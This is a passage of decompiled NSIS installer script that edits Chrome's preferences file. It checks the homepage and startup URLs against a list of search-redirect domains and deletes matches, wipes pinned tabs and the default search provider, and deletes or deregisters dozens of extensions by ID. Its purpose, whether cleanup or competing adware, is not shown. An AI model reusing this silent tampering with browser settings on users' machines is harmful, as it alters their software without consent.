StrCpy $_54_ 0
WriteINIStr $EXEDIR\le LE VER NANMA==
label_8943:
FunctionEnd
Function func_8944
ClearErrors
Push $_64_
Push "$LOCALAPPDATA\Google\Chrome\User Data"
Call :label_405
Pop $0
IfErrors label_8951
Call func_8920
label_8951:
Call func_9427
Call func_9497
Call func_9563
Call func_9629
Call func_9695
Call func_9757
Call func_9823
Call func_9889
Call func_9955
Call func_10021
Call func_10087
Call func_10153
Call func_10219
Call func_10285
Call func_10351
Call func_10417
Call func_10483
Call func_10549
Call func_10615
Call func_10681
Call func_10745
Call func_10811
Call func_10877
Call func_10943
Call func_11009
Call func_11075
FunctionEnd
Function func_8978
StrCpy $_98_ ""
StrCpy $_99_ ""
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
ClearErrors
nsJSON::Get homepage /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push homepage
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_8996
Pop $_98_
Goto label_8997
label_8996:
StrCpy $_98_ HPAGE
label_8997:
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
ClearErrors
nsJSON::Get session startup_urls /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push startup_urls
; Push session
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors label_9015
Pop $_99_
StrCpy $_99_ $_99_ -1 1
Goto label_9016
label_9015:
StrCpy $_99_ SURL
label_9016:
FunctionEnd
Function func_9017
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Delete homepage /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push homepage
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
FunctionEnd
Function func_9037
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Delete session startup_urls /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push startup_urls
; Push session
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
FunctionEnd
Function func_9058
Call func_8978
StrCpy $_101_ ""
StrCpy $6 ""
ClearErrors
ReadRegStr $_101_ HKCU "Software\Start Page" "Start Page"
IfErrors 0 label_9066
StrCpy $_101_ ""
Goto label_9078
label_9066:
ClearErrors
Push $_101_
Push /?
Push >
Push <
Push 0
Push 0
Push 0
Call func_4539
Pop $6
IfErrors 0 label_9078
StrCpy $6 ""
label_9078:
StrCmp $_98_ HPAGE label_9220
StrCmp $_101_ "" label_9083
ClearErrors
Push $_98_
Push $_101_
label_9083:
Call :label_405
Pop $0
IfErrors 0 label_9219
StrCmp $6 "" label_9090
ClearErrors
Push $_98_
Push $6
label_9090:
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push www.yessearches.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push www.hohosearch.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push searchnikis-mi.ru
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push searchyda-s.ru
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push seaserchs-niks.ru
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push safebrowsesearch.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push searchs-paisi.ru
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push www.search.ask.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push www.portalsepeti.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push www.oursurfing.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push www.luckysearches.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://www.omniboxes.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://2inf.net
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://mail.ru
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://istart.webssearches.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://trinews.ru
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://isearch.omiga-plus.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://www.trovi.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://www.istartsurf.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://www.mystartsearch.com
Call :label_405
Pop $0
IfErrors 0 label_9219
ClearErrors
Push $_98_
Push http://drt-stm.com
Call :label_405
Pop $0
IfErrors label_9220 label_9219
label_9219:
Call func_9017
label_9220:
StrCmp $_99_ SURL label_9381
StrCmp $_101_ "" label_9225
ClearErrors
Push $_99_
Push $_101_
label_9225:
Call :label_405
Pop $0
IfErrors 0 label_9380
StrCmp $6 "" label_9232
ClearErrors
Push $_99_
Push $6
label_9232:
Call :label_405
Pop $0
IfErrors 0 label_9380
StrCmp $_50_ "" label_9254
ClearErrors
Push $_99_
Push utm_term=
Call :label_405
Pop $0
IfErrors label_9254
ClearErrors
Push $0
Push &
Push >
Push <
Push 0
Push 0
Push 0
Call func_4539
Pop $0
IfErrors label_9254
StrCmp $0 $_50_ label_9380 label_9254
label_9254:
ClearErrors
Push $_99_
Push www.yessearches.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push www.hohosearch.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push searchnikis-mi.ru
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push searchyda-s.ru
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push seaserchs-niks.ru
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push safebrowsesearch.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push searchs-paisi.ru
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push www.search.ask.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push www.portalsepeti.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push www.oursurfing.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push www.luckysearches.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://www.omniboxes.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://2inf.net
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://mail.ru
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://istart.webssearches.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://trinews.ru
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://isearch.omiga-plus.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://www.trovi.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://www.istartsurf.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://www.mystartsearch.com
Call :label_405
Pop $0
IfErrors 0 label_9380
ClearErrors
Push $_99_
Push http://drt-stm.com
Call :label_405
Pop $0
IfErrors label_9381 label_9380
label_9380:
Call func_9037
label_9381:
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Delete pinned_tabs /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push pinned_tabs
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Delete default_search_provider_data /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push default_search_provider_data
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
Push $_99_
Push $_98_
Push $_30_
Call func_805
FunctionEnd
Function func_9411
Exch $1
; Push $1
; Exch
; Pop $1
StrCmp $_32_ 1 0 label_9418
IfFileExists $_64_\Extensions\$1 0 label_9417
RMDir /r /REBOOTOK $_64_\Extensions\$1
label_9417:
Goto label_9426
label_9418:
nsJSON::Delete extensions settings $1 /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push $1
; Push settings
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete
label_9426:
FunctionEnd
Function func_9427
StrCmp $_32_ 1 label_9434
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9434:
StrCmp $_32_ 1 label_9454
Push ihbiedpeaicgipncdnnkikeehnjiddck
Call func_9411
Push npknnddabjhdijgmmbocdicnknegobkm
Call func_9411
Push mfgdmpfihlmdekaclngibpjhdebndhdj
Call func_9411
Push oghkljobbhapacbahlneolfclkniiami
Call func_9411
Push ihmgiclibbndffejedjimfjmfoabpcke
Call func_9411
Push cfmnkhhioonhiehehedmnjibmampjiab
Call func_9411
StrCmp $_152_ 1 label_9454
Push aaebjepcfidgkojljbgoilgkgklehldj
Call func_9411
Push cnaibnehbbinoohhjafknihmlopdhhip
Call func_9411
Push jolakggdcbngpflcjfaencffnenhlddl
Call func_9411
label_9454:
Push agibagflppafhfonkefpklndlohkclcb
Call func_9411
Push mnodmjdgoadhalodifblaaikgcfgchfb
Call func_9411
Push nlipoenfbbikpbjkfpfillcgkoblgpmj
Call func_9411
Push emalgedpdlghbkikiaeocoblajamonoh
Call func_9411
Push jgpmhnmjbhgkhpbgelalfpplebgfjmbf
Call func_9411
Push bhnpmdabjgpimmnbmhefncbghknfegog
Call func_9411
Push iblenkmcolcdonmlfknbpbgjebabcoae
Call func_9411
Push iabeihobmhlgpkcgjiloemdbofjbdcic
Call func_9411
Push kcahibnffhnnjcedflmchmokndkjnhpg
Call func_9411
Push mclkkofklkfljcocdinagocijmpgbhab
Call func_9411
Push bhloflhklmhfpedakmangadcdofhnnoh
Call func_9411
Push aeajehgeohhgjbhhbicilpenjfcbfnpg
Call func_9411
Push gamgcdlfhmmigjmbffodgkpglbnejkjm
Call func_9411
Push mefhakmgclhhfbdadeojlkbllmecialg
Call func_9411
Push ocggccaacacpienfcgmgcihoombokbbj
Call func_9411
Push henmfoppjjkcencpbjaigfahdjlgpegn
Call func_9411
StrCmp $_32_ 1 label_9494
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9494:
Push $_30_
Call func_910
FunctionEnd
Function func_9497
StrCmp $_32_ 1 label_9504
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9504:
Push bhmpnibiagopmobamhlgaghkojlcjnfn
Call func_9411
Push fnbdnhhicmebfgdgglcdacdapkcihcoh
Call func_9411
Push kejbdjndbnbjgmefkgdddjlbokphdefk
Call func_9411
Push gbkeegbaiigmenfmjfclcdgdpimamgkj
Call func_9411
Push jnchjfllgfgeplbacilpkfedokmoeabb
Call func_9411
Push baohinapilmkigilbbbcccncoljkdpnd
Call func_9411
Push eignhdfgaldabilaaegmdfbajngjmoke
Call func_9411
Push aapcjgafljhokjfbeebpiddfjpjjcdem
Call func_9411
Push akimgimeeoiognljlfchpbkpfbmeapkh
Call func_9411
Push denjcdefjebbmlihdoojnebochnkgcin
Call func_9411
Push bgnkhhnnamicmpeenaelnjfhikgbkllg
Call func_9411
Push cfhdojbkjhnklbpkdaibdccddilifddb
Call func_9411
Push felcaaldnbdncclmgdcncolpebgiejap
Call func_9411
Push aohghmighlieiainnegkcijnfilokake
Call func_9411
Push kjacjjdnoddnpbbcjilcajfhhbdhkpgk
Call func_9411
Push ikmcdoglnhpbfapchbjgpcjohhiblfio
Call func_9411
Push fgaibgfmahoghagddnphnjcahoceeokg
Call func_9411
Push dldcbakcjliccckkmfjcblhciilpdcil
Call func_9411
Push aonedlchkbicmhepimiahfalheedjgbh
Call func_9411
Push jgnblgknonceobjdkepgodbolcpkgipk
Call func_9411
Push oolhdkknilkffnjkpbanndcoopeacbdk
Call func_9411
Push hdmklhmbdlonieiiehdekjchnhemamnp
Call func_9411
Push aapbdbdomjkkjkaonfhkkikfgjllcleb
Call func_9411
Push eknihobklpdlclecmmncockhnfnimfof
Call func_9411
Push gighmmpiobklfepjocnamgkkbiglidom
Call func_9411
StrCmp $_32_ 1 label_9562
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9562:
FunctionEnd
Function func_9563
StrCmp $_32_ 1 label_9570
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9570:
Push likjgdigcecailmfofloaccenmakaimf
Call func_9411
Push knebimhcckndhiglamoabbnifdkijidd
Call func_9411
Push iffdplkiijdjejhgkcfnopnfdnlnhhlp
Call func_9411
Push knfbbafhelhpliplppghhemlleooppma
Call func_9411
Push bafhhmlkbcigapgkfdgfikhkkaihpjjn
Call func_9411
Push ljhngnmlikjlfofkhiopmhoabbchdeoc
Call func_9411
Push efinmbicabejjhjafeidhfbojhnfiepj
Call func_9411
Push pgphcomnlaojlmmcjmiddhdapjpbgeoc
Call func_9411
Push pjnfggphgdjblhfjaphkjhfpiiekbbej
Call func_9411
Push ognampngfcbddbfemdapefohjiobgbdl
Call func_9411
Push pjnohoilionaoilipmhghbglpogbgclk
Call func_9411
Push fkdaohobfpffflajbmehdhgpglmncnja
Call func_9411
Push hndapinaldbddbjnhebjakhlgbcahhmp
Call func_9411
Push ogalaicobgnjddfiiananilkfdecfcki
Call func_9411
Push jchepaljijgokkoflakjioknkfolenbk
Call func_9411
Push gpfbncnkoeocopnpcacbbkdljdfhekcl
Call func_9411
Push pipldannicggjnehllgnngigoihaibof
Call func_9411
Push bjjlbcacffbohhnhgmkdebadjbncnhag
Call func_9411
Push fkegjdclmnlbpgoekbnfonmllgkhaiil
Call func_9411
Push lmjdhgblcaanmbmebpalbganeolknlcb
Call func_9411
Push eomdbhbfdhkfhdeahajamkdebiihomjj
Call func_9411
Push nempgcppdjebbgbbdbanlogeieombmgn
Call func_9411
Push dnamklmggdjcdcflcgodfbmcepmbmaii
Call func_9411
Push golhbhkdabjglokkaakliojbnhgghbbg
Call func_9411
Push abheooadglcolgemdobccihamoofpgjp
Call func_9411
StrCmp $_32_ 1 label_9628
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9628:
FunctionEnd
Function func_9629
StrCmp $_32_ 1 label_9636
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9636:
Push lfgjbmhakaffflkjecineeaadpidgikb
Call func_9411
Push hhnjdplhmcnkiecampfdgfjilccfpfoe
Call func_9411
Push gnkbhefncjkobabomnoackampbpgikag
Call func_9411
Push fopdddcinljmpmioaklghcalngfhbaen
Call func_9411
Push eabkepljpdlhjlfaonmkgkbpofokciec
Call func_9411
Push hcnohopcajeibomnkkbaebokofafkgbf
Call func_9411
Push ohmkcnojelglgphmkgmofjlmpoelccjh
Call func_9411
Push ahnpejopbfnjicblkhclaaefhblgkfpd
Call func_9411
Push copfffaoccifkiiljjgoedgkaelcekhn
Call func_9411
Push gbaobdidmoecggndfmfjebblkhgnhkda
Call func_9411
Push jlembggmojoninjmkfghjopphfbjhofe
Call func_9411
Push oidhhegpmlfpoeialbgcdocjalghfpkp
Call func_9411
Push emakkfldeggiinnfcdjkakdfcppbfhdg
Call func_9411
Push encaiiljifbdbjlphpgpiimidegddhic
Call func_9411
Push agoljmemkbciolpigpabjfkagboolkcj
Call func_9411
Push mjocghlclkpgheifflemilcnblodjohg
Call func_9411
Push bdmjagdcpkfpebaaffpafncgkleijako
Call func_9411
Push gnjbfdmiommbcdfigaefehgdndnpeech
Call func_9411
Push dkgpajbdcbgaciibdeknligdaofmegma
Call func_9411
Push hbeikkjblcogpkdnchpffgefhkilodnn
Call func_9411
Push djihnclfplpgodoohhleedcjjomgikcc
Call func_9411
Push mdgncmfemcgcpdmchnenmkgfdpedokgo
Call func_9411
Push boikejnhiggonokccamalbhmenopmiji
Call func_9411
Push hiinilempllbgnaohllfdpnmeioogkng
Call func_9411
Push ffbonecokbglbldgjefndidmdeegggek
Call func_9411
StrCmp $_32_ 1 label_9694
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9694:
FunctionEnd
Function func_9695
StrCmp $_32_ 1 label_9702
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9702:
Push apnggkkoiepepmcopmkelpfhinojdbjo
Call func_9411
Push ojphconnfejdaknhnekamgniidbcokca
Call func_9411
Push bfdlbgbpgjichdjjmkdcpagfggicjfom
Call func_9411
Push bmdjpboekgkcjeikgokenomldhaljkhm
Call func_9411
Push kmedakdfngfmagjlndeckcbfcmidlbio
Call func_9411
Push fcljdicbcnmfhekdcaobgbpjjifniemh
Call func_9411
Push coljhboelhlkbgaaolcngflenaggpeao
Call func_9411
Push bocggbchonjomlcjjjcbcfejnlkpdgep
Call func_9411
Push keeoidllhdmjekfjecpdnhmmihljegdl
Call func_9411
Push plimopelmdneikoknbgpopffpbmlhgpa
Call func_9411
Push nlgdemkdapolikbjimjajpmonpbpmipk
Call func_9411
Push caficnijbecdceenmgfphpoaamopmmjg
Call func_9411
Push bfefdmepaiiimfhbgneijclbnailbghl
Call func_9411
Push pepjgkdpkihjnbdaggonbpphlfkbhdli
Call func_9411
Push hhmfdibgakhagkpalkmfamkaojignmbm
Call func_9411
Push iphpmnjjkbneokidkdkcdfhlhlimhnfj
Call func_9411
Push lffnnnfdablgamegkcboelplpcjoacmm
Call func_9411
Push ilhhefepljbmehhbmjcflhcchkddfaon
Call func_9411
Push jhapbopfchfogphiimjbhodmgnppoigk
Call func_9411
Push acjahegdcbmdmijdkadochfcpedfdmnj
Call func_9411
Push nmpjlchjijbdlflkpnglbepmhjaejkjl
Call func_9411
Push pheobeikgpfdjfnlnhinkcogflmkcmlc
Call func_9411
Push cjpalhdlnbpafiamejdnhcphjbkeiagm
Call func_9411
StrCmp $_32_ 1 label_9756
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9756:
FunctionEnd
Function func_9757
StrCmp $_32_ 1 label_9764
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9764:
Push ihhcdinmaceokcdmbddlclfejhadgpgg
Call func_9411
Push akkhkcocfnopiccplnimkefmaejepdlj
Call func_9411
Push chdlbfbfmljaggiikmanpggpfhmkfpdh
Call func_9411
Push amplgponnfkfhnbgojhehcaaiocgmpam
Call func_9411
Push kneggodalbcmgdkkfhbhbicbbahnacjb
Call func_9411
Push fneleoohaagcejefkfmanhhdoboipapk
Call func_9411
Push ccnkbaeamfbhdnmilamlkagpfgimgppo
Call func_9411
Push nhjehbmopbfbomhchfkhbghcehpeiijl
Call func_9411
Push bkfoggbmaeddfflfppchdlbakjilclbp
Call func_9411
Push akaelkiagnbfcccfnmbimdbplecgbikh
Call func_9411
Push elmggllmmdmjlbkfnbpmmfaofkihmcag
Call func_9411
Push agfjdflmdlnffhlfmjdpbcoccaeamikk
Call func_9411
Push dhdgffkkebhmkfjojejmpbldmpobfkfo
Call func_9411
Push plmlpbcjkpppncefeoongifnpinjmegf
Call func_9411
Push pkbffhpdalaceholagpcomhnigjjdfdb
Call func_9411
Push afpabppcibfahafilhkbbgfnlncppdnc
Call func_9411
Push knlpigpfaognbholppaembpfphilacie
Call func_9411
Push jgpcjehgklpfpaohmmmcbmccgbcfgmnk
Call func_9411
Push phefhkfojhcgelmcpapbplmnnbplaceg
Call func_9411
Push chklaanhfefbnpoihckbnefhakgolnmc
Call func_9411
Push kcnhkahnjcbndmmehfkdnkjomaanaooo
Call func_9411
Push cpngackimfmofbokmjmljamhdncknpmg
Call func_9411
Push djflhoibgkdhkhhcedjiklpkjnoahfmg
Call func_9411
Push faminaibgiklngmfpfbhmokfmnglamcm
Call func_9411
Push fjnbnpbmkenffdnngjfgmeleoegfcffe
Call func_9411
StrCmp $_32_ 1 label_9822
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9822:
FunctionEnd
Function func_9823
StrCmp $_32_ 1 label_9830
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9830:
Push dfpbaopcdgpcdekggfendghkgfdmojog
Call func_9411
Push jkkenjlnjfemconejajakbijbheoffli
Call func_9411
Push jeeipeiochflolcicincjfgmkpicffhi
Call func_9411
Push hnldbiikfjheppkbnjbnkgimnfejifpf
Call func_9411
Push hcnmeapiiphhmfhfnngadeoglcaknipi
Call func_9411
Push njppmddkfhcffdkkkeomojdheimcgkll
Call func_9411
Push jhongheibdpfhdpfccheljfcabgliidh
Call func_9411
Push hhdjegdllbnhgdbkamlghkfcjnkilinm
Call func_9411
Push lccogepdpdnpcoblidpcjgmdcafinijg
Call func_9411
Push piinjfbkomhbihijnanbkdkcodgficdn
Call func_9411
Push fnbadkmhkehnphhniladjoagihbagpmk
Call func_9411
Push fppmnajoggdjlbceelheobobdjclklnh
Call func_9411
Push mkfokfffehpeedafpekjeddnmnjhmcmk
Call func_9411
Push afdljnaicocchekhjlflikmnmiembohl
Call func_9411
Push fjfiaeaopgmgbenipljajjipecobmbni
Call func_9411
Push nfkfhnhimcipdenpdagckeiclnlhpddj
Call func_9411
Push cljmgafdojiepjppcilmhbaijalckjec
Call func_9411
Push aemgobnhmjkokaanfjcikbeddfpfbcce
Call func_9411
Push oapnocopdbbakjcokdmhlpmdokkniien
Call func_9411
Push aliekcbgfjfobmdhalkinpphajmlhaei
Call func_9411
Push kcdeaofcapijfmeopimkgcepdpbdepnb
Call func_9411
Push jkkngokdooagpeidijbihiofdalckjmh
Call func_9411
Push cikblgdncidmpallpjignnpahappmcej
Call func_9411
Push fkjoahemngfldcokkeofepfhpfphkpjp
Call func_9411
Push dmcaebpppkgaeajegijmjgkkplgaljlc
Call func_9411
StrCmp $_32_ 1 label_9888
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9888:
FunctionEnd
Function func_9889
StrCmp $_32_ 1 label_9896
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9896:
Push hdhmofnopkgkpgnpggloijpbnaonhplc
Call func_9411
Push objoaichchnolncdebkiiipkjlligamm
Call func_9411
Push dgllkfpmikkiojldjjnokegmnamiobhm
Call func_9411
Push plfghefomandejfcfhcindgbnfogdgjj
Call func_9411
Push pikpanhgiaphkjnpagblcgaighhppffn
Call func_9411
Push emcekebbkpkogiblcagdhbbpehfhljoe
Call func_9411
Push ldhndahencefpagkkbaoaeigbjomkekj
Call func_9411
Push bnagjfbacpkcllmdkdmmfnhllioloeod
Call func_9411
Push bneofalgnokehdfeebjdkgbkbkbnjngp
Call func_9411
Push acklnhgjphbhhomkneonohbjnbmkclfb
Call func_9411
Push kcjifdbedkcdkeegnoenkpiphjldpahf
Call func_9411
Push cdbpgjkjdieaeeamabfhhimkiiednibl
Call func_9411
Push nnablabjebldnjlelboobpjegkehklon
Call func_9411
Push knohfebhibeknbfioecpdmdkjkjdnjnl
Call func_9411
Push gdalhedleemkkdjddjgfjmcnbpejpapp
Call func_9411
Push digdamginaiacelfjeiogepnddkgklom
Call func_9411
Push papbadoldddalgcjcicnikcfenodpghp
Call func_9411
Push gomekmidlodglbbmalcneegieacbdmki
Call func_9411
Push dkdappficojbcppjikodbmaacmonapja
Call func_9411
Push nmgcfemagnogdodbambjhdcmfcpicngl
Call func_9411
Push aleggpabliehgbeagmfhnodcijcmbonb
Call func_9411
Push pmeahafpomcpkopfcifekoohbhaoajhg
Call func_9411
Push bafpnadamcnoafhkclccgoaoolibidpb
Call func_9411
Push jepcpcilhjedfeahcnpccfcohdipdopp
Call func_9411
Push aajfkmlnigenialefkkabclimkgelkjg
Call func_9411
StrCmp $_32_ 1 label_9954
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_9954:
FunctionEnd
Function func_9955
StrCmp $_32_ 1 label_9962
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_9962:
Push ielfjlkjofamfalocncmgekmlhdjljof
Call func_9411
Push cmfmmdcaedfkmdghkaljnflkfjnmealg
Call func_9411
Push igknmofklilajdimkkidipjimdgdpfig
Call func_9411
Push pcakalekbccdnfacpdgneeodpjpaiiac
Call func_9411
Push defjbpbaeipkllhdmgjfbdefjnpoocga
Call func_9411
Push pogchimbndbckepmhaagnapfmlfgnala
Call func_9411
Push ehllhhahecagjamggopjmfmcaeipbehn
Call func_9411
Push fihdnhfddbbfnijkkcgagcpblkpaopda
Call func_9411
Push ndabmaflbdfldmdlccmpccenpkgklhln
Call func_9411
Push ngbcgifdaopbfflfhbcfeomijfbbcadi
Call func_9411
Push kfecnpmgnlnbmipaogfhoacoioifjgko
Call func_9411
Push hgjdmibhlkjgbifgaojdpljodlnijogl
Call func_9411
Push nbdckeihbljjmjjjjpifbgkncecpdnel
Call func_9411
